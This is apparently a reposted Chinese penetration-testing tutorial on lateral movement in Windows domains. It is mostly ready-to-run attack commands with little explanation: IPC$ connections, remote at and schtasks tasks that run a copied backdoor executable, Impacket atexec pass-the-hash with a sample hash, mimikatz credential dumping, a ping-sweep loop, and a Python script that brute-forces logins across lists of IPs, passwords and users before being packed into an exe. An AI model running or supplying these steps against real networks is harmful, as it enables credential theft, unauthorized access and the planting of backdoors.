2.域橫向批量at&schtasks&impacke
阿新 • • 發佈:2021-12-20
0x01.前提條件
已知目標系統的使用者明文密碼的基礎上 , 直接在遠端主機上執行命令
本節的知識點是先搞清楚協議 , 然後擴充套件協議可以利用的點 , 再使用基於協議的第三方工具包 , 實戰應用
0x02.橫向滲透明文傳遞at&schtasks
1.ipc$
其本質就是IPC$空連線加上計劃任務上線遠端主機
在拿下一臺內網主機後,通過本地資訊蒐集收集使用者憑證等資訊後,如何橫向滲透拿下更多的主機?
這裡僅介紹 at&schtasks 命令的使用,在已知目標系統的使用者明文密碼的基礎上,直接可以在遠端主 機上執行命令。 獲取到某域主機許可權->minikatz 得到密碼(明文,hash)->用到資訊收集裡面域使用者的列表當做使用者 名字典->用到密碼明文當做密碼字典-》嘗試連線->建立計劃任務(at|schtasks)->執行檔案可為後門或者相關命令
利用流程
1. 建立 IPC 連結到目標主機
2. 拷貝要執行的命令指令碼到目標主機
3. 檢視目標時間,建立計劃任務(at、schtasks)定時執行拷貝到的指令碼
4. 刪除 IPC 連結
常用命令
net use 檢視當前機器已建立的連線 net view 192.168.1.2 # 檢視對方共享 net use \\192.168.1.2\ipc$ "ggg.com123!" /user:euweb # 工作組 net use \\192.168.1.2\ipc$ "WIN.com123!" /user:hacker\win7 # 域內 dir \\192.168.1.2\C$\ # 檢視檔案列表 copy \\192.168.1.2\C$\1.bat 1.bat # 下載檔案 copy 1.bat \\192.168.1.2\C$ # 複製檔案 net use \192.168.1.2\ipc$ /del # 刪除 IPC$連線
建立 IPC 常見的錯誤程式碼
(1)5:拒絕訪問,可能是使用的使用者不是管理員許可權,需要先提升許可權 (2)51:網路問題,Windows 無法找到網路路徑 (3)53:找不到網路路徑,可能是 IP 地址錯誤、目標未開機、目標 Lanmanserver 服務未啟動、有 防火牆等問題 (4)67:找不到網路名,本地 Lanmanworkstation 服務未啟動,目標刪除 ipc$ (5)1219:提供的憑據和已存在的憑據集衝突,說明已建立 IPC$,需要先刪除 (6)1326:賬號密碼錯誤 (7)1792:目標 NetLogon 服務未啟動,連線域控常常會出現此情況 (8)2242:使用者密碼過期,目標有賬號策略,強制定期更改密碼
建立 IPC 失敗的原因
(1)目標系統不是 NT 或以上的作業系統
(2)對方沒有開啟 IPC$共享
(3)對方未開啟 139、445 埠,或者被防火牆遮蔽
(4)輸出命令、賬號密碼有錯誤
2.at&schtasks
at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 連線:
copy mm.exe \\192.168.3.21\c$ #拷貝執行檔案到目標機器
at \\192.168.3.21 15:47 c:\mm.exe #新增計劃任務
schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 連線:
copy add.bat \\192.168.3.32\c$ #複製檔案到其 C 盤
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn mm /sc DAILY /tr c:\mm.exe /F #建立 adduser 任務對應執行檔案
schtasks /run /s 192.168.3.32 /tn mm /i #執行 mm 任務
schtasks /delete /s 192.168.3.21 /tn mm /f #刪除 mm 任務
0x03.橫向滲透明文HASH傳遞 atexec-impacket
atexec是基於前面的at協議開發的一款第三方工具
優點 : 使用簡單
缺點 : 可能會被殺軟識別
常用命令
atexec.exe ./administrator:[email protected] "whoami" # 工作組
atexec.exe god/administrator:[email protected] "whoami" # 域內
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami" # 工作組
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] "whoami" # 域內
0x04.橫向滲透明文HASH傳遞批量利用-綜合版
操作流程
1.使用mimikatz獲取明文密碼privilege::debugsekurlsa::logonpasswords2.使用dos命令探測存活主機for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" >> ips.txt3.編寫批處理檔案,批量操作# 批量檢測ip對應明文連線for /F %%I in (ips.txt) DO net use \\%%i\ipc$ "Admin12345"net use 檢視建立的連線有哪些# 批量檢測ip對應的使用者密碼+明文回顯for /F %%I in (ips.txt) DO atexec.exe ./administrator:Admin12345@%%i "whoami" # 批量檢測明文密碼對應ip回顯for /F %%I in (pass.txt) DO atexec.exe ./administrator:%%[email protected] "whoami" # 批量檢測hash對應ip回顯for /F %%I in (hash.txt) DO atexec.exe -hashes:%%i ./[email protected] "whoami"
0x05.橫向滲透明文HASH傳遞批量利用-升級版
雖然是上面的方法已經實現了批量 , 但是有一個缺點就是每次只能控制一個變數 , 但是我們收集到的密碼, ip , 域使用者是三個變數 , 能不能一次實現對三個變數的檢測???
python指令碼
import osimport timeips = [ "192.168.3.11", "192.168.3.21", "192.168.3.31", "192.168.3.32", "192.168.3.23",]passes = [ 'admin12345', 'admin', 'admin666',]users = [ 'admin', 'adminstrator', 'mssql', 'dbadmin',]for i in ips: for j in passes: for u in users: exec1 = f"net use \\\\{i}\ipc$ {j} /user:god\\{u}" exec2 = f"net use \\\\{i}\ipc$ {j} /user:./{u}" print(f"<=={exec1}==>") print(f"<=={exec2}==>") os.system(exec1) os.system(exec2) time.sleep(0.5)
然後將以上程式碼打包成exe
pip3 install pyinstallerpyinstaller -F -w demo.py